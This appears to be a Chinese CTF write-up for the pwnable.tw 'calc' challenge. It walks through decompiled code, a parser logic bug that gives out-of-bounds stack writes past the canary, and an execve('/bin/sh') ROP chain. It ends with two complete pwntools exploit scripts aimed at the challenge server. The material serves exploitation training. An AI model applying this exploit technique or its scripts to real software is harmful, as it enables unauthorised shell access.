pwnable.tw calc

0x10 题目分析

calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

calc函数:

unsigned int calc() { int v1; // [esp+18h] [ebp-5A0h] int v2[100]; // [esp+1Ch] [ebp-59Ch] char s; // [esp+1ACh] [ebp-40Ch] unsigned int v4; // [esp+5ACh] [ebp-Ch] v4 = __readgsdword(0x14u); while ( 1 ) { bzero(&s, 0x400u); if ( !get_expr(&s, 1024) ) //获取运算表达式 break; init_pool(&v1); //清空结果集合 if ( parse_expr(&s, &v1) ) //获取运算结果 { printf((const char *)&unk_80BF804, v2[v1 - 1]); //打印结果unk_80BF804=%d fflush(stdout); } } return __readgsdword(0x14u) ^ v4; }

Get_expr函数:获取运算符号:

int __cdecl get_expr(int a1, int a2) { int v2; // eax char v4; // [esp+1Bh] [ebp-Dh] int v5; // [esp+1Ch] [ebp-Ch] v5 = 0; while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != '\n' ) { if ( v4 == '+' || v4 == '-' || v4 == '*' || v4 == '/' || v4 == '%' || v4 > '/' && v4 <= '9' ) { v2 = v5++; *(_BYTE *)(a1 + v2) = v4; } } *(_BYTE *)(v5 + a1) = 0; return v5; }

init_pool函数

_DWORD *__cdecl init_pool(_DWORD *a1) { _DWORD *result; // eax signed int i; // [esp+Ch] [ebp-4h] result = a1; *a1 = 0; for ( i = 0; i <= 99; ++i ) { result = a1; a1[i + 1] = 0; } return result; }

Parse_exp:

signed int __cdecl parse_expr(int a1, _DWORD *a2) { int v2; // ST2C_4 int v4; // eax int v5; // [esp+20h] [ebp-88h] int i; // [esp+24h] [ebp-84h] int v7; // [esp+28h] [ebp-80h] char *s1; // [esp+30h] [ebp-78h] int v9; // [esp+34h] [ebp-74h] char s[100]; // [esp+38h] [ebp-70h] unsigned int v11; // [esp+9Ch] [ebp-Ch] v11 = __readgsdword(0x14u); v5 = a1; v7 = 0; bzero(s, 0x64u); for ( i = 0; ; ++i ) { if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 ) { v2 = i + a1 - v5; s1 = (char *)malloc(v2 + 1); memcpy(s1, v5, v2); s1[v2] = 0; if ( !strcmp(s1, "0") ) { puts("prevent division by zero"); fflush(stdout); return 0; } v9 = atoi(s1); if ( v9 > 0 ) { v4 = (*a2)++; a2[v4 + 1] = v9; } if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 ) { puts("expression error!"); fflush(stdout); return 0; } v5 = i + 1 + a1; if ( s[v7] ) { switch ( *(char *)(i + a1) ) { case '%': case '*': case '/': if ( s[v7] != '+' && s[v7] != '-' ) { eval(a2, s[v7]); s[v7] = *(_BYTE *)(i + a1); } else { s[++v7] = *(_BYTE *)(i + a1); } break; case '+': case '-': eval(a2, s[v7]); s[v7] = *(_BYTE *)(i + a1); break; default: eval(a2, s[v7--]); break; } } else { s[v7] = *(_BYTE *)(i + a1); } if ( !*(_BYTE *)(i + a1) ) break; } } while ( v7 >= 0 ) eval(a2, s[v7--]); return 1; }

Eval 函数:

_DWORD *__cdecl eval(_DWORD *a1, char a2) { _DWORD *result; // eax if ( a2 == '+' ) { a1[*a1 - 1] += a1[*a1]; } else if ( a2 > '+' ) { if ( a2 == '-' ) { a1[*a1 - 1] -= a1[*a1]; } else if ( a2 == '/' ) { a1[*a1 - 1] /= a1[*a1]; } } else if ( a2 == '*' ) { a1[*a1 - 1] *= a1[*a1]; } result = a1; --*a1; return result; }

当我们输入表达式:100+200

程序流程是这样的:表达式初始化进入Parse_exp 中,会先进入分支结构中判断运算先后顺序,然后进入eval函数,此时表达式被放在s[v7]为操作符号,result为操作数,当碰到运算符号时被传入eval函数做为参数:

此时执行

initpool[] = {2,100,200}

s[v7] = operator = {"+"}

initpool[initpool[0]-1]=initpool[initpool[0]-1]+initpool[initpool[0]] = 300

initpool[] = {2,300,100}

Initpool-=1 ---->initpool[0] = initpool[0] -1 = 1

最终输出initpool[1+initpool[0]-1]=initpool[initpool[0]]

但当我们传入表达式+100时:

由于initpool = {1,100}

initpool[initpool[0]-1] += initpool[initpool[0]-1]+initpool[initpool[0]] = 101

initpool[0] = 101

initpool[0] = initpool[0] -1 = 100

最终输出initpool[initpool[0]] = initpool[100]

0x20 思路

程序开了Canary,不存在堆溢出,且为静态编译,我们只能想办法来泄漏Canary或者绕过Canary来写一些东西,而本程序没有溢出点,因此我们只能通过程序逻辑的问题绕过Canary直接修改返回地址

在本程序中,我们的栈结构是这样的:

a1------->ebp-0x5a0
.
.
.
.
canary
ebp-8
ebp-4
ebp
ret

在32位程序中一个字节4位,因此retaddr 在a1[0x5a0/4+1]的位置,也就是a1[361]的位置,通过修改这个地址的值来完成ROP

Getshell方法一:

布置syscall,调用execve

image-20210715190307638

execve(/bin/sh,0,0)
eax 0xb
ebx /bin/sh
ecx 0
edx 0
int 80

因此我们要寻找gadget来控制这些:

pop eax, ret
pop ebx
pop ecx
pop edx
/bin/sh
int 80
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80

Payload 布置 由于没有/bin/sh我们只能控制他写入栈,然后泄漏一个栈地址来做

0 pop eax, ret
1 0xb
2 pop3 ret
3 0
4 0
5 sh_addr
6 int 80
7 /bin
8 /sh\x00

我们可以泄漏ebp的地方做为我们存放binsh字符串的地址,由于我们的参数,出栈,因此最后ebp的位置刚好为我们的参数地址,我们可以使用+360来泄漏这个地址,或者我们可以找一个bss段上的地址进行写入,因为程序没开启PIE,bss的地址是固定的

image-20210716103336833

方法二:将__stack_prot改成0x7,接着构造ROP链,使其执行_dl_make_stack_executable<__libc_stack_end>(注意这里的__libc_stack_end在eax内),就能关闭NX保护,然后我们就利用jmp esp或者call esp劫持eip到栈上从而getshell

0x30 final exp

远端环境不稳定要多打几次

#/usr/bin/env python
#-*-coding:utf-8-*-

from pwn import *

proc="./calc"

context.update(arch = 'x86', os = 'linux', timeout = 1)

elf=ELF(proc)

def change(addr,i):
	sh.sendline("+"+str(361+i))
	retaddr = int(sh.recvline())
	if addr-retaddr > 0:
		sh.sendline("+"+str(361+i)+"+"+str(addr-retaddr))
		retaddr = int(sh.recvline())
	else:
		sh.sendline("+"+str(361+i)+str(addr-retaddr))
		retaddr = int(sh.recvline())

def pwn(ip,port,debug):
	global sh
	if debug==1:
		context.log_level="debug"
		sh=process(proc)
	else:
		sh=remote(ip,port)

	pop_eax = 0x0805c34b
	pop3_ret = 0x080701d0
	int80 = 0x08049a21
	bin_sh = u32('/bin')
	bin_sh2 = u32('/sh\0')
	sh.sendlineafter("=== Welcome to SECPROG calculator ===\n","+360")
	mebp = int(sh.recvline()) & 0xffffffff
	log.info("stack:"+hex(mebp))
	change(pop_eax,0)	
	change(0xb,1)
	change(pop3_ret,2)
	change(0,3)
	change(0,4)

	sh.sendline("+"+str(361+5))
	retaddr = int(sh.recvline())
	sh.sendline("+"+str(361+5)+"-"+str(retaddr)+"-"+str(0x100000000-mebp))
	retaddr = int(sh.recvline())
	log.info("addr:"+hex(retaddr))

	change(int80,6)
	change(bin_sh,7)
	change(bin_sh2,8)
	gdb.attach(sh,"b *0x8049433")
	sh.interactive()

if __name__ =="__main__":
	pwn("chall.pwnable.tw",10100,1)

"""

0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80

"""

远端:

#/usr/bin/env python
#-*-coding:utf-8-*-

from pwn import *
import time

proc="./calc"

context.update(arch = 'i386', os = 'linux')

elf=ELF(proc)

context.log_level="debug"

def change(addr,i):
	sh.sendline("+"+str(361+i))
	retaddr = int(sh.recvline())
	if addr-retaddr > 0:
		sh.sendline("+"+str(361+i)+"+"+str(addr-retaddr))
		retaddr = int(sh.recvline())
	else:
		sh.sendline("+"+str(361+i)+str(addr-retaddr))
		retaddr = int(sh.recvline())

def pwn(ip,port,debug):
	global sh
	if debug==1:
		context.log_level="debug"
		sh=process(proc)
	else:
		sh=remote(ip,port)

	pop_eax = 0x0805c34b
	pop3_ret = 0x080701d0
	int80 = 0x08049a21
	bin_sh = u32('/bin')
	bin_sh2 = u32('/sh\0')
	sh.sendlineafter("=== Welcome to SECPROG calculator ===\n","+360")
	mebp = int(sh.recvline()) & 0xffffffff
	log.info("stack:"+hex(mebp))
	change(pop_eax,0)	
	change(0xb,1)
	change(pop3_ret,2)
	change(0,3)
	change(0,4)

	sh.sendline("+"+str(361+5))
	retaddr = int(sh.recvline())
	sh.sendline("+"+str(361+5)+"-"+str(retaddr)+"-"+str(0x100000000-mebp))
	retaddr = int(sh.recvline())
	log.info("addr:"+hex(retaddr))

	change(int80,6)
	change(bin_sh,7)
	change(bin_sh2,8)
	sh.interactive()

if __name__ =="__main__":
	pwn("chall.pwnable.tw",10100,0)